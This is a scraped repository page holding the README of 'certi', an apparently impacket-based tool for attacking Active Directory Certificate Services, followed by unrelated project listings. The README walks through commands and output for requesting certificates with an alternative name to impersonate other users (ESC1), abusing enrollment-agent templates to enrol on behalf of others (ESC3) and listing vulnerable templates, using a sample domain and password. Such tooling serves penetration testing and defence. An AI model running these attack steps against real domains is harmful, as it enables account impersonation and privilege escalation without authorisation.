Utility to play with ADCS, allows to request tickets and collect information about related objects

Related tags

Miscellaneouscerti
Overview

certi

Utility to play with ADCS, allows to request tickets and collect information about related objects. Basically, it's the impacket copy of Certify. Thanks to @harmj0y and @tifkin_ for its great work with ADCS.

Request a certificate

To request a certificate you can use the req command:

$ getTGT.py 'contoso.local/Anakin:Vader1234!'ader1234!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=Anakin.ccache
$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n
[*] Service: contoso-DC01-CA
[*] Template: User
[*] Username: Anakin

[*] Response: 0x3 Issued  0x80094004, The Enrollee (CN=Anakin,CN=Users,DC=contoso,DC=local) has no E-Mail name registered in the Active Directory.  The E-Mail name will not be included in the certificate.

[*] Cert subject: CN=Anakin,CN=Users,DC=contoso,DC=local
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000062BD9D6E3F1B15CC3000000000006
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication

[*] Saving certificate in Anakin.pfx (password: admin)

As you may notice, you need to use Kerberos, since is the authentication method required by enrollment services. In case using other method you will get the following error:

(certi) certi$ certi.py req 'contoso.local/Anakin:[email protected]' contoso-DC01-CA
Error: WCCE SessionError: code: 0x80094011 - CERTSRV_E_ENROLL_DENIED - The permissions on this CA do not allow the current user to enroll for certificates.
Help: Try using Kerberos authentication with -k -n params

Request with an alternative name

You can use the --alt-name parameter to give an alternative subject and request a certificate that can be used to impersonate the target user if some template allows you to do that:

$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
[*] Service: contoso-DC01-CA
[*] Template: UserSAN
[*] Username: Anakin
[*] Alternative Name: han

[*] Response: 0x3 Issued

[*] Cert subject: CN=Anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000000A858CC4B4C9301ED600000000000A
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication
[+] Cert Altname: [email protected]

[*] Saving certificate in [email protected] (password: admin)

You can get the templates vulnerable to this by using the --vuln and --enable params of the list command (be sure ):

$ certi.py list 'contoso.local/Anakin' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC1 -B 3
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: UserSAN
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation

Request as an enrollment agent

In case the available templates allows you to do that, you can request a certificate for an enrollment agent and then use it to request a certificate for another user:

$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --template EnrollAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollAgent
[*] Username: Han

[*] Response: 0x3 Issued

[*] Cert subject: CN=Han
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000256F1BB99993785823000000000025
[*] Cert Extended Key Usage: Certificate Request Agent

[*] Saving certificate in Han.pfx (password: admin)
$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --on-behalf anakin --enroll-cert Han.pfx --enroll-cert-pw admin --template EnrollWithAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollWithAgent
[*] Username: Han
[*] On behalf of: anakin

[*] Response: 0x3 Issued

[*] Cert subject: CN=anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000002AB527D8E1E64930DC00000000002A
[*] Cert Extended Key Usage: Any Purpose, Certificate Request Agent, Encrypting File System, Secure Email, Client Authentication

[*] Saving certificate in anakin.pfx (password: admin)

You can check for templates vulnerable to these misconfigurations with the list command (we are that permissions may restrict you from request a certificate for a given template):

$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC3 -B 3
Name: User
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Administrator
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Machine
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: DomainController
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: EnrollAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: EnrollwithAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate

List services

$ certi.py list 'contoso.local/Han' -k -n --class service
[*] Enrollment Services

Name: contoso-DC01-CA
DNS name: dc01.contoso.local
Templates: EnrollwithAgent, EnrollAgent, UserSAN, DirectoryEmailReplication, DomainControllerAuthentication, KerberosAuthentication, EFSRecovery, EFS, DomainController, WebServer, Machine, User, SubCA, Administrator
Certificate:
  Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
  Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
  Cert Start: 2021-08-01 12:49:46
  Cert End: 2026-08-01 12:59:46
  Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local

List CAs

$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --class ca
[*] Root CAs

Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local

[*] Authority Information Access

Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
Owner
Eloy
Eloy
GitHub Repository
Automatic and platform-independent unpacker for Windows binaries based on emulation

_ _ __ _ __ _ | | | | / / (_) \ \ | | | | | |_ __ | | _ | | _ __ __ _ ___| | _____ _ __

514 Dec 21, 2022
Programmatic interface to Synapse services for Python

A Python client for Sage Bionetworks' Synapse, a collaborative, open-source research platform that allows teams to share data, track analyses, and collaborate

Sage Bionetworks 54 Dec 23, 2022
NasaApod - Astronomy Picture of the Day

Astronomy Picture of the Day Get interesting Astronomical pictures with a brief

Shripad Rao 1 Feb 15, 2022
Collection of system-wide scripts that I use on my Gentoo

linux-scripts Collection of scripts that I use on my Gentoo machine. I tend to put all scripts in /scripts directory. It is not likely that you would

Xoores 1 Jan 09, 2022
Advanced python code - For students in my advanced python class

advanced_python_code For students in my advanced python class Week Topic Recordi

Ariel Avshalom 3 May 27, 2022
Validate UC alumni identifier numbers with Python 3.

UC number validator Validate UC alumni identifier numbers with Python 3. Getting started Install the library with: pip install -U ucnumber Usage from

Open Source eUC 1 Jul 07, 2021
Developing and Comparing Vision-based Algorithms for Vision-based Agile Flight

DodgeDrone: Vision-based Agile Drone Flight (ICRA 2022 Competition) Would you like to push the boundaries of drone navigation? Then participate in the

Robotics and Perception Group 115 Dec 10, 2022
A collection of Workflows samples for various use cases

Workflows Samples Workflows allow you to orchestrate and automate Google Cloud and HTTP-based API services with serverless workflows.

Google Cloud Platform 76 Jan 07, 2023
Tiling manager which runs on top of EWMH window managers.

PyTyle is an extremely versatile and extensible tiling manager that is meant to be used on top of EWMH window managers. Its feature set was modeled af

55 Jul 29, 2021
CupScript is a simple programing language made with python

CupScript CupScript is a simple programming language made with python It includes some basic functions, variables, loops, and some other built in func

FUSEN 23 Dec 29, 2022
Very simple encoding scheme that will encode data as a series of OwOs or UwUs.

OwO Encoder Very simple encoding scheme that will encode data as a series of OwOs or UwUs. The encoder is a simple state machine. Still needs a decode

1 Nov 15, 2021
A weekly dive into commonly used modules in the Rust ecosystem, with story flavor!

The goal of this project is to bring the same concept as PyMOTW to the Rust world. PyMOTW was an invaluable resource for me when I was learning Python years ago, and I hope that I can help someone in

Scott Lyons 20 Aug 26, 2022
Distributed behavioral experiments

Autopilot Docs Paper Forum Hardware Autopilot is a Python framework for performing complex, hardware-intensive behavioral experiments with swarms of n

70 Dec 14, 2022
Python Excuse Generator

Excuse Generator Python Excuse Generator This project is an excuse generator that provides the user with an excuse as to why they weren't paying atten

Collin Sanders 5 Jul 07, 2022
A place where the most basic, basic of python coding exists

python-basics A place where the most basic, basic of python coding exists As you can see, there are four folders and the best order to read is: appeti

Chuqin 2 Oct 05, 2022
🥦 Send and receive nano with 2 simple functions

easy_nano Send and receive nano (without having to understand the nano protocol).

1 Feb 14, 2022
Old versions of Deadcord that are problematic or used as reference.

⚠️ Unmaintained and broken. We have decided to release the old version of Deadcord before our v1.0 rewrite. (which will be equiped with much more feat

Galaxzy 1 Feb 10, 2022
Freeze your objects in python

gelidum Freeze your objects in python. Latin English Caelum est hieme frigidum et gelidum; myrtos oleas quaeque alia assiduo tepore laetantur, asperna

Diego J. 51 Dec 22, 2022
Check bookings for TUM libraries.

TUM Library Checker Only for educational purposes This repository contains a crawler to save bookings for TUM libraries in a CSV file. Sample data fro

Leon Blumenthal 3 Jan 27, 2022
India's own RPA Platform Python Powered

Welcome to My-AutoPylot , Made in India with ❤️ What is My-AutoPylot? PyBots is an Indian firm based in Vadodara, Gujarat. My-AutoPylot is a product d

PyBots Pvt Ltd 28 Sep 12, 2022